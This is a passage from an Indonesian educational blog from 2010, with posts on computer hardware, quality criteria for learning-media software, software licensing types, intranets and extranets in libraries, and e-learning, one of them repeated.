• Mainboard (Biasanya paling cepat pension alias rusak), jika diibaratkan makhluk hidup, mungkin mainboard bisa di bilang sebagi badannya. Karena di mainboard banyak diletakkan komponen-komponen penting seperti processor (beserta kipasnya), RAM, VGA dll
• Prosesor (AMD atau Intel), bisa dibilang inilah otanya komputer. Untuk prosesor saat ini yang lagi ngetrend adalah Core 2 Duo dan setingkat diatasnya.
Pada bagian CPU sendiri terdiri dari tiga bagian fungsional yang perlu diperhatikan dalam penggunaan komputer:
1. Register berfungsi menyimpan data sementara yang akan diproses di ALU.
2. CU (Control Unit) berfungsi untuk melakukan pengendalian semua peralatan lainya
3. ALU (Arithmetic Logical Unit) berfungsi melakukan semua proses yang membutuhkan perhitungan matematika dan perbandingan secara logika
G. Peralatan Output
Untuk output pada dasarnya dibedakan atas:
1. Tampilan visual, dalam hal ini monitor memegang peranan yang amat penting. Dalam penampilan visual di monitor sangat dipengaruhi oleh kapasitas VGA.
2. Output berupa suara, tiada lain pasti sebagian besar Anda sudah tahu yaitu speaker. Untuk Speaker komputer, di tanah air banyak merek ternama yang sudah mengembangkan dan memasarkan produknya, diantaranya Altex, Simbada, AudioBox dll.
3. Output berupa cetakkan, untuk hal ini dapat berupa printer dan plotter. Ploter (drum atau table) adalah peralatan keluaran yang digunakan untuk keperluan sistematis seperti mencetak atau mengambar berupa grafik, skematik, dan dapat membuat diagram lainya. Sedangkan printer adalah alat output untuk mencetak file yang biasanya file document, seperti hasil ketikan di office microsoft word misalnya.

Read More......

Aspek Rekayasa Perangkat Lunak dalam Media Pembelajaran

· 0 komentar



“Waduh kok softwarenya nggak mau jalan …”
“Lho kok proses instalasinya sulit sekali …”
Itu mungkin keluhan yang sering kita dengar ketika kita menggunakan sebuah software atau perangkat lunak di komputer kita. Dan bukan sesuatu yang mustahil, kemungkinan besar terjadi juga di perangkat lunak media pembelajaran yang kita kembangkan. Jangan dilupakan bahwa media pembelajaran yang terdiri dari media presentasi pembelajaran (alat batu guru untuk mengajar) dan software pembelajaran mandiri (alat bantu siswa belajar mandiri) adalah juga suatu perangkat lunak. Baik tidaknya sebuah perangkat lunak, biasanya menunjukkan bagaimana kualitas perangkat lunak tersebut, hal ini sudah kita kupas tuntas di artikel tentang pengukuran perangkat lunak. Nah, media pembelajaran yang baik adalah yang memenuhi parameter-parameter berdasarkan disiplin ilmu rekayasa perangkat lunak, seperti pada contoh



diatas (efisiensi, reliabilitas, usabilitas, dsb).
Setelah aspek dan penilaian media pembelajaran kita bahas, artikel ini akan fokus di satu sisi penilaian yaitu aspek rekayasa perangkat lunak. Bagaimanapun juga saya tetap bersandar ke standard pengukuran perangkat lunak (baik ISO standard maupun best practice) pada saat menyusun kriteria-kriteria penilaian. Saya modifikasi sesuai dengan kebutuhan dan supaya lebih mudah dipahami oleh peserta lomba. Kriteria penilaian dalam aspek rekayasa perangkat lunak yang akhirnya disetujui dalam diskusi di tim penyusun (LIPI, Pustekkom, IlmuKomputer.Com) adalah seperti di bawah:
1. Efektif dan Efisien dalam Pengembangan Maupun Penggunaan Media Pembelajaran
“Kok lambat yach?”
“Petunjuk Pemakaian: matikan seluruh program lain, karena program ini perlu memory 1GB untuk dapat dijalankan”
“Program besar sekali, menghabiskan space di komputer!”
Seringkali sebuah program yang sepertinya berukuran kecil dan memiliki fitur yang tidak terlalu rumit, tetapi berjalan sangat lamban. Kalau seandainya saja setiap komputer memiliki kecepatan yang tidak terbatas dan memory (RAM) yang bebas tidak terbatas, maka tentu tidak akan menjadi masalah. Tetapi setiap komputer memiliki kecepatan terbatas, memory (RAM) terbatas dan kapasitas penyimpanan tetap (hardisk) terbatas. Oleh karena itu, penting untuk mengatur pemakaian resource (CPU, RAM dan hardisk) tersebut secara efektif dan efisien. Kelambatan, rendahnya respon dan throughput biasanya terjadi karena pembuat tidak memikirkan efesiensi sumber daya yang terserap oleh program. Misalnya untuk pemakaian gambar-gambar yang ditampilkan dalam ukuran kecil, pembuat tetap menggunakan gambar asli yang beresolusi tinggi, tidak melakukan usaha-usaha kompresi dan pemotongan yang tepat. Sebaliknya, ada pula gambar yang seharusnya memakai resolusi tinggi, tetapi digunakan gambar yang beresolusi rendah.
Hal lain yang memungkinkan tidak efisiennya pemakaian resource adalah penggunaan algoritma yang kurang tepat Misalnya untuk pekerjaan pengurutan (sorting) sebuah kumpulan data, pembuat tidak memanfaatkan algoritma-algoritma sorting yang terkenal efektif seperti: insertion-sort, merge-sort dan lain-lain. Misalnya ada komputer A dengan kecepatan 100 kali lebih cepat dari komputer B, yang menjalankan algoritma yang berbeda untuk masalah yang sama. Kalau kita dapat memilih algoritma yang lebih tepat dan efisien di komputer B, maka program dapat saja berjalan lebih cepat 10 kali lipat di komputer B.
Salah satu kasus yang sering muncul adalah, karena terlalu bersemangat, pembuat media pembelajaran, menampilkan semua pustaka gambar yang ia miliki dan efek-efek animasi dan simulasi yang ia kuasai ke dalam media pembelajaran, meskipun mereka tidak terlalu penting dan efektif dalam membantu proses pembelajaran.
2. Reliabilitas (Kehandalan)
Murid: Pak, program ini kok sering hang ya?
Guru: Kenapa? Kapan errornya?
Murid: Gak tahu, tidak ada pesan error tuh.
Program dikatakan reliable atau handal bila program dapat berjalan dengan baik, tidak mudah hang, crash atau berhenti pada saat pengoperasian. Kehandalan program juga dinilai dari seberapa jauh dapat tetap berjalan meskipun terjadi kesalahan pada pengoperasian (error tolerance). Pengguna memerlukan feedback sesuai dengan kondisi system (termasuk berapa lama pengguna harus menunggu, dll).
3. Maintainabilitas (Dapat Dipelihara/Dikelola dengan Mudah)
“Good software is maintainable” (Reinhard Miller)
“It looks obvious until you try it” (IEEE Software)
“Programming is like poetry. It conveys a message, not only to the computer, but to those who modife and use your program” (Jonathan Bartlett)
Struktur program disusun dengan algoritma, alur penyajian, pengorganisasian, dan keterkaitan antar bagian sehingga mudah dalam modifikasi. Kode atau script tetap sederhana dan mudah dipahami meskipun menjalankan fungsi yang kompleks. Kode bersifat modular dengan dokumentasi pada tiap bagian yang memudahkan dalam modifikasi dan perubahan (maintenance). Sehingga siapa saja yang ingin merubah/memperbaiki/menambah fitur program dapat dengan mudah melakukannya. Selain penambahan fitur, hal yang sering dilakukan oleh programer adalah menemukan bug dalam programnya. Justru ada pernyataan bahwa membersihkan bug adalah 60% dari pekerjaan seorang programer.
Semakin sedikit code program yang Anda tuliskan, semakin kecil keperluan agar code atau program maintainable. Semakin banyak code program yang Anda tuliskan, semakin perlu Anda memikirkan maintainabilitas program Anda.
4. Usabilitas (Mudah Digunakan dan Sederhana dalam Pengoperasiannya)
Layaknya seoseorang yang bingung ketika baru pertama kali datang ke Jakarta dan ingin mencari alamat Jl. Jend. Gatot Subroto 10. Orang tersebut pasti merasa bingung untuk mencari alamat tersebut. Dalam kondisi bingung, orang tersebut tentu akan memanfaatkan marka jalan sebagai penunjuk arah. Dapat dibayangkan apabila di jalan raya tidak disediakan rambu-rambu lalu lintas dan marka jalan, tentu orang akan tersesat dan tidak tahu ke mana arah yang akan dituju. Begitu pula dengan media pembelajaran, ketersediaan tooltip, help, icon, logo, tombol, dsb akan sangat membantu pengguna yang baru pertama kali menggunakan media tersebut. Desain dan tata letak navigasi sangat membantu pengguna untuk memanfaatkan media tersebut. Apabila terjadi kesalahan pada program (error) maka ditampilkan pesan dengan bahasa yang mudah dipahami oleh pengguna.
Konsistensi bentuk dan letak navigasi juga mempengaruhi kenyamanan pengguna ketika menghayati informasi yang tersirat dalam media pembelajaran. Dengan hanya melihat tampilan awal, pengguna dapat mengetahui kondisi program dan dapat menentukan aksi-aksi alternatif. Semua pilihan dan bahan tampak sehingga mudah dicari bilamana diperlukan tanpa mengganggu pengguna dengan informasi yang berlebihan. Pengguna juga dapat dengan sangat mudah menebak, memperkirakan bahkan menentukan relasi antara aksi dan hasil, antara kontrol-kontrol dan efek yang ditimbulkannya, antara status software dan apa yang tampak.
5. Ketepatan Pemilihan Jenis Aplikasi/Software/Tool untuk Pengembangan
Karya media pembelajaran dikembangkan dengan aplikasi dan perangkat yang tepat sesuai dengan kebutuhan pengembang. Contohnya adalah untuk membuat desain grafis, tentu harus menggunakan perangkat lunak pengolah grafis, dan bukan perangkat lunak (aplikasi) yang diciptakan untuk mengolah kata. Contoh lain, untuk membuat presentasi, akan lebih mudah dikembangkan dengan perangkat lunak untuk membuat presentasi. Demikian juga tentang pemanfaatan tool yang tepat dan lebih mudah dalam pembuatan animasi, simulasi, test, dan fitur-fitur yang lain.
6. Kompatibilitas (Media Pembelajaran Dapat Diinstalasi/Dijalankan di Berbagai Hardware dan Software yang Ada)
Perkembangan software dan hardware sudah cukup banyak bervariasi, semakin tinggi spesifikasinya, semakin tinggi kecepatan prosesnya. Bila dulu kecepatan akses RAM paling tinggi 8 MB, saat ini kecepatannya berkali lipat hingga 1 GB, CD ROM yang dulu kecepatan bacanya paling tinggi 4X saat ini CD ROM sudah umum dan memiliki banyak fungsi dengan kapasitas kecepatan yang tinggi, seperti CD-RW dengan speed hingga 52X bahkan ada yang mampu membaca DVD, demikian juga dengan Software Aplikasi, bila dulu aplikasinya sederhana dan cukup panjang proses menjalankan berbagai aplikasi didalamnya, saat ini aplikasi sudah sangat indah dengan tampilan grafis yang baik dan animatif, dengan navigasi yang mudah dan cepat dalam proses menjalankan aplikasinya.
Belajar akan lebih baik, jika setiap orang bisa bekerja dimanapun tanpa ada hambatan spesifikasi komputer dan software yang dipersyaratkan untuk menjalankannya, oleh karenanya hasil karya yang baik kendaknya dapat dijalankan diberbagai kondisi hardware dan sofware yang beragam, artinya bisa dijalankan didalam spesifikasi komputer yang paling rendah sekalipun, bisa dijalankan dengan Operating System dengan platform apapun dan versi manapun, mulai dari yang awal hingga yang terbaru, dan software yang tidak dibatasi oleh versi keluaran baik versi awal maupun versi yang terbaru.
7. Pemaketan Program Media Pembelajaran Terpadu dan Mudah dalam Eksekusi
Media pembelajaran terpaket dengan baik. Proses instalasi berjalan secara otomatis dengan menggunakan Autorun. Dengan sekali install, program langsung dapat digunakan tanpa perlu melakukan instalasi lain satu persatu (plugin, dsb) atau proses rebooting komputer. Shorcut/icon secara otomatis muncul setelah proses instalasi dengan nama yang mudah diidentifikasi. Fitur untuk uninstall program disediakan untuk membantu pengguna apabila sudah tidak memerlukan program tersebut. Program dapat juga dikembangkan tanpa proses instalasi, artinya dengan satu klik semua berjalan dengan sendiri. Hal ini semakin memudahkan pengguna terutama untuk siswa-siswa yang kurang dalam mengenal komputer.
8. Dokumentasi Program Media Pembelajaran yang Lengkap
“Gimana nih cara instalasinya? Kok nggak panduannya?”
Pertanyaan ini muncul ketika media pembelajaran yang telah kita buat ternyata tidak dilengkapi dengan dokumentasi tentang cara instalasi dan cara penggunaan. Definisi rekayasa perangkat lunak menurut Ian Sommerville adalah:
“Program komputer dan dokumentasi yang berhubungan”
Jadi tidak boleh dilupakan bahwa sebutan perangkat lunak itu tidak hanya untuk program komputer, tetapi juga termasuk dokumentasi dan konfigurasi data yang berhubungan yang diperlukan untuk membuat program beroperasi dengan benar. Dengan definisi ini otomatis keluaran (output) produksi perangkat lunak disamping program komputer juga dokumentasi lengkap berhubungan dengannya. Ini yang kadang kurang dipahami oleh pengembang, sehingga menganggap cukup memberikan program yang jalan (running program) ke pengguna.
Dokumentasi media pembelajaran yang dibuat harus meliputi: petunjuk instalasi (jelas, singkat, lengkap), trouble shooting (jelas, terstruktur, dan antisipatif), desain program (jelas, menggambarkan alur kerja program). Dokumentasi, selain berorientasi ke kemudahan pengguna dengan adanya help, readme, panduan penggunaan, dsb, juga berorientasi pada pengembang yang diimplikasikan pada lengkapnya dokumentasi dan penjelasan pada kode program sehingga memudahkan dalam modifikasi.
9. Reusabilitas (Sebagian atau Seluruh Program Media Pembelajaran dapat Dimanfaatkan Kembali untuk Mengembangkan Media Pembelajaran Lain)
Eric S. Raymond, seorang tokoh programmer opensource mengatakan “Good programmers know what to write. Great ones know what to rewrite and reuse”. Setelah level membuat terlewati, seorang pengembang harus meningkatkan kemampuan diri untuk tidak hanya berorientasi membuat, tapi juga berorientasi ke bagaimana fitur dan fungsi program kita supaya dapat digunakan lagi di program lain dengan mudah. Bagaimana kita mendesain sebuah source code (kode sumber), icon, logo, tombol dan sebagainya sehingga dengan mudah dapat digunakan kembali (reuse) pada program media pembelajaran lain, itulah arti dari reusabilitas.
Template menu, icon, logo, tombol, dsb yang telah dibuat dapat dengan mudah digunakan untuk program lain. Library (DLL, API, dsb) juga dikemas dengan baik sehingga dapat dimanfaatkan oleh program lain. Program tersusun secara modular, hal ini mempermudah penggunaan kembali (reusabilitas).

Read More......

Juni 17, 2010

· 0 komentar

Teknologi Perangkat Lunak Aplikasi



Perangkat lunak aplikasi sejatinya adalah program yang didesain khusus untuk menyelesaikan masalah spesifik pengguna, seperti melakukan tugas-tugas mengetik dokumen, manipulasi foto, merancang bangunan. Perangkat lunak aplikasi dapat digolongkan menjadi:

* Perangkat lunak hiburan
* Perangkat lunak pendidikan
* Perangkat lunak produktivitas kerja
* Perangkat lunak bisnis
* Perangkat

lunak khusus

Perangkat lunak hiburan mencakup berbagai macam program permainan (game), program untuk memainkan musik (seperti WinAmp dan JetAudio), dan program untuk memainkan film (seperti Windows Media Player). Saat ini berbagai program seperti tersebut selain bisa memainkan musik juga sudah bisa memainkan film sekaligus.

Perangkat lunak pendidikan berguna untuk mempalajari atau mereferensi suatu pengetahuan. Yang termasuk dalam kategori ini misalkan program kamus, ensiklopedi, pelajaran ilmu pengetahuan, pelajaran bahasa asing, dan simulasi.

Ada kalanya sebuah program menggabungkan kemampuan pendidikan dan hiburan sekaligus. Perangkat seperti ini biasa disebut entertainment. Banyak program untuk anak-anak yang mendukung unsur hiburan dan pendidikan. Mereka bisa bermain sambil belajar kata-kata atau mengenali benda dengan komputer.

Perangkat lunak bisnis digunakan untuk menangani aplikasi bisnis. Misalnya berupa program untuk menangani persediaan barang (inventory control). Pencatatan pembayaran piutang (account receivable), dan registrasi mahasiswa (sistem informasi akademik).

Perangkat lunak produktifitas kerja berguna untuk meningkatkan produktifitas kerja pemakai. Beberapa golongan perangkat lunak untuk meningkatkan produktifitas kerja dapat dilihat pada tabel berikut.
Perangkat Lunak Produktifitas Kerja

Perangkat Lunak Produktifitas Kerja

Di luar penggolongan di atas terdapat kelompok perangkat lunak produktifitas lain misalnya yang tegolong sebagai pengelola statistik (contoh: SPSS dan Microstat) dan matematika dan simulasi (contoh: MatLab).
Jenis Perangkat Lunak

Berdasarkan cara mendapatkannya dan hak pemakaian, perangkat lunak dapat digolongkan menjadi perangkat lunak komersial, perangkat lunak domain publik, shareware, freeware, rentalware, freesoftware atau opensource.

Perangkat lunak komersial

Perangkat lunak komersial biasa juga disebut proprietary software merupakan perangkat lunak yang dijual secara komersial. Setiap orang yang bermaksud menginstalnya harus membelinya. Jika tidak membelinya berarti membajak perangkat lunak dan dapat dikenai sanksi hukum karena ada hak cipta (copyright). Hak cipta adalah satu bentuk hak yang dilindungi hukum dimana seseorang dilarang untuk menyalin hak atas kekayaan intelektual (HAKI) tanpa izin pemegangnya. Perangkat lunak ini juga disertai lisensi yang melarang pembeli menyalin perangkat lunak untuk diberikan kepada orang lain ataupun untuk dijual kembali. Contoh perangkat lunak komersial adalah Microsoft Office dan CorelDraw.

Perangkat lunak rentalware

Merupakan perangkat lunak yang bisa digunakan oleh seseorang atau institusi dengan cara meyewa. Penyewaan biasanya dilakukan pertahun.

Perangkat lunak domain-public

Merupakan perangkat lunak yang tidak disertai hak cipta dan memungkinkan siapa saja melakukan tindakan apa saja terhadap program tersebut, termasuk membuang nama penciptanya dan memperlakukannya sebagai karya ciptanya sendiri dan mengenakan hak cipta. Perangkat lunak seperti ini umumnya berupa kode sumber dan banyak dijumpai di internet.

Perangkat lunak shareware

Merupakan perangkat lunak yang tersedia tanpa kode sumber dan biasanya digunakan oleh pemakai dengan tujuan untuk dievaluasi selama masa tertentu tanpa membayar sama sekali dan jika sesudah masa tersebut berlalu, maka pemakai tersebtu tetap menggunakannya maka ia harus membayar ke pembuat (pemegang hak cipta) perangkat lunak tersebut. Berbeda dengan versi trial, shareware tidak memiliki masa kadaluarsa. Artinya, pemakai tetap bisa menggunakannya walau batas uji coba telah berakhir. Umumnya pembuat shareware menyediakan layanan konsultasi, manual tercetak, update (pemutakhiran) ke versi terbaru secara gratis, dan terkadang memberikan bonus berupa perangkat lunak lain. Tujuan pembuatan shareware adalah untuk mendapatkan bantuan dana dari pemakai guna pengembangan lebih lanjut.

Perangkat lunak freeware

Perangkat lunak jenis ini tersedia tanpa kode sumber dan bebas digunakan oleh siapa saja tanpa perlu membayar. Berbagai alasan pembuatan freeware adalah (1) penarik bagi pemakai untuk membeli versi lebih lanjut (dengan fitur yang lebih lengkap) yang bersifat komersial, (2) pembuat menginginkan tanggapan dari pemakai sehingga ia dapat mengembangkannya ke versi lebih bagus, (3) pembuat ingin menyebarluaskan karyanya supaya ia menjadi terkenal, dan (4) pembuat ini benar-benar ingin membantu pemakai dalam melaksanakan tugas tertentu tanpa perlu membeli perangkat lunak komersial.

Free Software

Ini merupakan istilah yang dicanangkan oleh Richard Stallman pendiri (Pendiri Free Software Foundation) untuk menyatakan perangkat lunak yang dilengkapi kode sumber yang memungkinkan siapa saja dapat menggunakan program tersebut dan bahkan ikut mengembangkannya. Secara lebih lengkap, sebuah software disebut free software jika:

* Pemakai memilki kebebasan untuk menjalankan program untuk tujuan apa saja.
* Pemakai memiliki kebebasan untuk memodifikasi program sesuai kebutuhan. Oleh karena itu kode sumber harus tersedia.
* Pemakai memiliki kebebasan untuk mendistribusikan kembali salinan program, baik secara gratis maupun dengan bayaran
* Pemakai memiliki kebebasan untuk mendistribusikan versi-versi program yang telah dimodifikasi sehingga komunitas dapat memperoleh manfaat dari pengembangan tersebut

Tujuan Stallman adalah menciptakan kebebasan kepada pemakai dan menghindari pengontrolan program oleh suatu pihak.

Untuk menunjang kebebasan tersebut, Stallman menggunakan metode yang disebut copyleft terhadap perangkat lunak GNU yang ia kembangkan. Istilah ini adalah pembalikan dari istilah copyright. Copyleft juga menggunakan hak cipta yang memberikan hak kepada pemakai untuk menjalankan program, memodifikasi, hingga mendistribusikan versi modifikasinya, tetapi melarang menjadikannya sebagai program proprietary.

Open source

Istilah ini dikemukakan oleh Eric Raymond pada tahun 1998 dan dimaksudkan untuk menghilangkan makna free pada free software yang ambigu karena dalam Bahasa Inggris kata tersebut memiliki arti yang bermacam-macam, misalkan gratis dan bebas. Istilah open source muncul dari ide bahwa seandainya setiap orang dapat berpartisipasi dalam mengembangkan suatu perangkat lunak tentu perangkat lunak tersebut akan segera berevolusi menuju ke tingkat kesempurnaan. Hal-hak yang disediakan pada open source adalah sebagai berikut:

* Hak untuk membuat salinan program dan mendistribusikan salinan tersebut
* Hak untuk megakses kode sumber sebagai syarat untuk bisa melakukan modifikasi
* Hak untuk melakukan pengembangan terhadap program.

Secara prinsip, program yang tergolong sebagai free software juga memenuhi kriteria open source. Untuk memperoleh informasi lebih lanjut tentang open source, bisa dilihat pada situs http://www.opensource.org.

Istilah Versi dan Rilis

Pada perangkat lunak dikenal istilah versi (version) dan rilis (release).

* Versi menyatakan perubahan besar pada perangkat lunak. Umumnya, versi dinyatakan dengan bilangan semacam berikut: 2.0, 3.0, 4.0, dan seterusnya. Terkadang notasi yang lain digunakan, sebagai contoh Microsoft terkadang menggunakan kode tahun untuk menyatakan versi produk softwarenya, misalnya Microsoft Windows 95, Microsoft Windows 98, Microsoft Windows 2000, Microsoft Office 97, dan Microsoft Office 2000, terkadang juga menggunakan istilah lain yang mewakili karakteristik produk software yang dibuat, misalnya Windows XP, Windows Millenium, dan lain-lain.
* Rilis menyatakan perubahan kecil terhadap versi yang sama. Rilis biasa dinyatakan dengan angka di belakang tanda titik. Contoh versi 4.0 bisa menjadi 4.1, 4.2, atau bahkan lebih dari itu misalkan 4.1.3.3.

Read More......

Juni 09, 2010

Teknologi Jaringan Internet,Ekstranet.

· 0 komentar

Intranet merupakan sebuah jaringan yag dibangun berdasarkan teknologi internet yang didalam nya terdapat basis arsitektur berupa aplikasi web dan teknoogi komunikas data. Intranet juga menggunakan protokol TCP/IP. Protokol ini memungkikan suatu komputer mengirimdan memberi alamat data ke komputer lain sekaligus memastikan pengiriman data sampai tujuan dengan tanpa kurang apa pun. Intranet berkembang pesat di Amerika – Netscape (13/11/1995) melaporkan bahwa sebagian besar penjualan server ke perusahaan di amerika di gunakan untuk intranet. Di Indonesia intranet telah digunakan oleh beberapa perusahaan walaupun, terbatas pada

perusahaan komputer, dan indstri besar lainnya.

contoh: gambar pemanfaatan intranet untuk automasi perpustakaan

Terus bagaimana intranet apakah di pakai di perpustakaan juga ? intranet bisa juga di pakai di perpustakaan contohnya perpustakaan fakultas kedokteran UGM memakai fasilitas intranet supaya sebuah jurnal on line hanya bisa di lihat atau didownload di perpustakaan tersebut karena memakai IP adress yang didaftarkan sebuah situs penyedia jurnal kedokteran online yang sudah diberi firewall ( firewall adalah sebuah perangkat lunak/keras yang mengatur akses seseorang kedalam intranet atau akses user di dalam jaringan lokal ke jaringan luar) lokal yang terhubung ke jaringan internet, untuk melindungi aset sistem informasi dari serangan pihak luar.

Hal ini menjadikan intranet benar-benar berdiri secara independen. Hal lain yang membedakan internet dengan intranet adalah dari sisi penggunaannya. Aplikasi dan informasi intranet ditujukan bagi kalangan dalam suatu organisasi itu sendiri sementara informasi di suatu situs internet ditujukan bagi kalangan umum.

Jenis pemanfaatan intranet

Penggunaan intranet sebetulnya tergantung dari bentuk organisasi penggunannya. Apakah suatu toko, perusahaan multinasional, sutu instansi perpustakaan atau departemen lainnya. Dengan memahami kerja organisasi tersebut maka mempermudah model disain intranet yang kan digunakan.

Dalam suatu institusi perpustakaan intranet banyak digunakan untuk:

1.OPAC (online public catalouge) atau katalog online yang dapat diakses di seluruh raungan perpustakaan yang terhubung dengan jaringan
2.membrikan pelayanan yang maksimal kepada pengguna, contohnya jurnal kedok teran online medica hanya bisa di akses di perpustakaan kedokteran.
3.informasi sistem service, dll
4.Sistem...
sirkulasi online

Komponen pembentuk intranet

Komponen pembentuk intranet pada dasarnya sama dengan komponen pembentuk internet, seperti:

1.

aplikasi browser ( internet exploler, opra, mozilla firefox, netscape)
2.

komputer server
3.

perangkat jaringan
4.

protokol TCP/IP
5.

bahasa pemrograman (html, php, mysql , dll)
6.

komputer client
7.

perangkat bantu pengembang

yang perlu ditambahkan dalam intranet apabila sebagianinformasi organisasi tersebut ingin diekspose agar dapat di akses jaringan luar (internet) adalah firewall dan router (intranet ini akan menjadi ekstranet).



Internet

Intercenneted network atau lebih dikenal dengan sebutan internet adalah sebuah sistem komuniasi global yang menghubungkan komputer-komputer dan jaringan-jaringan komputer di seluruh dunia. Setiap komputer dan jaringan terhubung secara langsug maupun tidak langsung ke beberapa jalur utama yang disebut internet backbone dan dibedakan satu dengan yang lain menggunakan unique name yang bisa disebut alamat IP 32 bit. Contoh 202.133.81.6

Cara koneksi internet :

1.

mendaftarkan diri ke ISP (internet service provider)
2.

lewat modem dial up (telepon)
3.

dengan GPRS melalusi ponsel



Perbedaan intranet dengan internet dan ekstranet:

Intranet

Adalah sebuah jaringan koputer berbasis protokol TCP/IP seperti internet, hanya saja digunakan dalam internal perusahaan atau kantor dengan aplikasi berbasis web dan teknologi komunikasi data seperti internet ( bahkan warung internet (warnet) dapat dikategorikan sebagai intranet)

Ekstranet

Jika sebuah badan usaha atau bisnis mengekspose sebagian dari internal jaringan ke komunitas di luar.

Internet

Merupakan komunikasi jaringan komunikasi global yang menghubungkan seluruh komputer di dunia meskipun beda sistem oprasi dan mesin.



Internet: Strategi Penggunaannya Di Perpustakaan

Internet menawarkan alternatif baru dalam pemerolehan informasi dan sekaligus penyebarluasan informasi. Jika sebelumnya, informasi berbasis cetak merupakan primadona perpustakaan tradisional, sekarang tersedia format baru dalam bentuk digital melalui Web. Koleksi bahan digital yang ditransmisikan secara elektronik dan disebut perpustakaan digital, keberadaannya semakin penting dalam pemenuhan kebutuhan informasi pengguna.

Pengunaan Internet di suatu perpustakaan dapat dibedakan ke dalam dua jenis.

Pertama, penyediaan akses yaitu penyediaan sarana dan prasarana dimana pustakawan dan pengguna perpustakaan dapat menggunakan Internet. Dalam hal ini, perpustakaan menyediakan sejumlah komputer sebagai terminal yang terhubung ke Internet. Penyediaan layanan akses ini bertujuan untuk memungkinkan sivitas akademika dapat memperoleh informasi yang bersumber dari Web, yang diperlukan untuk mendukung kegiatan proses belajar-mengajar dan penelitian. Kegiatan ini pada dasarnya sama dengan penyediaan bahan pustaka cetak yang merupakan kegiatan rutin suatu perpustakaan tradisional.

Pengguna dapat melakukan sendiri penelusuran, atau dengan memesan bahan yang mereka perlukan kepada pustakawan. Dalam kaitan ini, pengetahuan dan pengalaman pustakawan dalam penelusuran menjadi sangat penting karena dapat meningkatkan efisiensi pustakawan dan pengguna. Pustakawan sesuai dengan peran dasarnya, dalam menyediakan akses Internet dapat bertindak sebagai pembimbing terutama bagi pengguna baru, konsultan seperti layaknya fungsi pustakawan referens, pengawas untuk penggunaan yang tidak produktif, penelusur berdasarkan pesanan pengguna, diseminator untuk penyebarluasan informasi tentang bahan Web, dan organisator untuk mengorganisasikan bahan-bahan Web.

Kedua, publikasi elektronik yaitu kegiatan untuk mempublikasikan berbagai informasi tentang dan oleh perpustakaan. Dalam hal ini, perpustakaan memiliki dan memelihara sendiri suatu situs Web. Penerbitan Web bertujuan untuk mempublikasikan berbagai informasi tentang perpustakaan dan kegiatannya. Kegiatan ini pada dasarnya sama dengan publikasi berbagai selebaran, brosur, pamflet panduan perpustakaan, daftar perolehan baru, katalog dalam berbagai jenis, dan sebagainya yang biasanya dilakukan oleh sebuah perpustakaan, serta kegiatan publikasi lainnya. Dalam kaitan ini, perpustakaan bertindak sebagai penerbit.

Situs perpustakaan memberi peluang baru bagi pustakawan untuk melakukan sesuatu yang sebelumnya tergolong sulit untuk dilakukan. Peluang tersebut diantaranya adalah menerbitkan karya khas sekolah atau perguruan tinggi yang tidak diterbitkan tetapi didokumentasikan di perpustakaan sebagai deposit sekolah atau perguruan tinggi. Karya tersebut antara lain adalah bahan-bahan oleh dan tentang sekolah atau perguruan tinggi, termasuk diantaranya laporan penelitian, karya tulis, makalah seminar, simposium, bahan-bahan kuliah, dan publikasi sekolah atau perguruan tinggi lainnya. Kegiatan lainnya yang dimungkinkan adalah pelayanan perpanjangan pinjaman sebagai alternatif perpanjangan melalui telepon, konsultasi antara pengguna dengan pustakawan referens, penyediaan hubungan ke sumberdaya Web lain, penerbitan buletin, dan sebagainya.

Read More......
· 0 komentar

POTENSI TEKNOLOGI DAN INFORMASI
Perkembangan teknologi informasi dan komunikasi (TIK) telah memberikan pengaruh terhadap dunia pendidikan khususnya dalam proses pembelajaran. Menurut Rosenberg (2001), dengan berkembangnya penggunaan TIK ada lima pergeseran dalam proses pembelajaran yaitu:
(1) dari pelatihan ke penampilan,

(2) dari ruang kelas ke di mana dankapan saja,

(3) dari kertas ke “on line” atau saluran,

(4) fasilitasfisik ke fasilitas jaringan kerja,

(5) dari waktu siklus ke waktunyata.

Komunikasi sebagai media pendidikan dilakukan dengan menggunakan media-media komunikasi seperti telepon, komputer, internet, e-mail, dsb. Interaksi antara guru dan siswa tidak hanya dilakukan melalui hubungan tatap muka tetapi juga dilakukan dengan menggunakan media-media tersebut.
Guru dapat memberikan layanan tanpa harus berhadapan langsung dengan siswa. Demikian pula siswa dapat memperoleh informasi dalam lingkup yang luas dari berbagai sumber melalui cyber space atau ruang maya dengan menggunakan komputer atau internet. Hal yang paling mutakhir adalah berkembangnya apa yang disebut “cyber teaching” atau pengajaran maya, yaitu proses pengajaran yang dilakukan dengan menggunakan internet. Istilah lain yang makin poluper saat ini ialah e-learning yaitu satu model pembelajaran dengan menggunakan media teknologi komunikasi dan informasi khususnya internet.
Menurut Rosenberg (2001; 28), e-learning merupakan satu penggunaan teknologi internet dalam penyampaian pembelajaran dalam jangkauan luas yang belandaskan tiga kriteria yaitu:

(1) e-learning merupakan jaringan dengan kemampuan untuk memperbaharui, menyimpan, mendistribusi dan membagi materi ajar atau informasi,

(2) pengiriman sampai ke pengguna terakhir melalui komputer dengan menggunakan teknologi internet yang standar,

(3) memfokuskan pada pandangan yang paling luas tentang pembelajaran di balik paradigma pembelajaran tradisional.

Saat ini e-learning telah berkembang dalam berbagai model pembelajaran yang berbasis TIK seperti: CBT (Computer Based Training), CBI (Computer Based Instruction), Distance Learning, Distance Education, CLE (Cybernetic Learning Environment), Desktop Videoconferencing, ILS (Integrated Learning Syatem), LCC (Learner-Cemterted Classroom), Teleconferencing, WBT (Web-Based Training), dsb

Read More......

POTENSI TEKNOLOGI DAN INFORMASI

· 0 komentar

Perkembangan teknologi informasi dan komunikasi (TIK) telah memberikan pengaruh terhadap dunia pendidikan khususnya dalam proses pembelajaran. Menurut Rosenberg (2001), dengan berkembangnya penggunaan TIK ada lima pergeseran dalam proses pembelajaran yaitu:
(1) dari pelatihan ke penampilan,

(2) dari ruang kelas ke di mana dankapan saja,

(3) dari kertas ke “on line” atau

saluran,

(4) fasilitasfisik ke fasilitas jaringan kerja,

(5) dari waktu siklus ke waktunyata.

Komunikasi sebagai media pendidikan dilakukan dengan menggunakan media-media komunikasi seperti telepon, komputer, internet, e-mail, dsb. Interaksi antara guru dan siswa tidak hanya dilakukan melalui hubungan tatap muka tetapi juga dilakukan dengan menggunakan media-media tersebut.
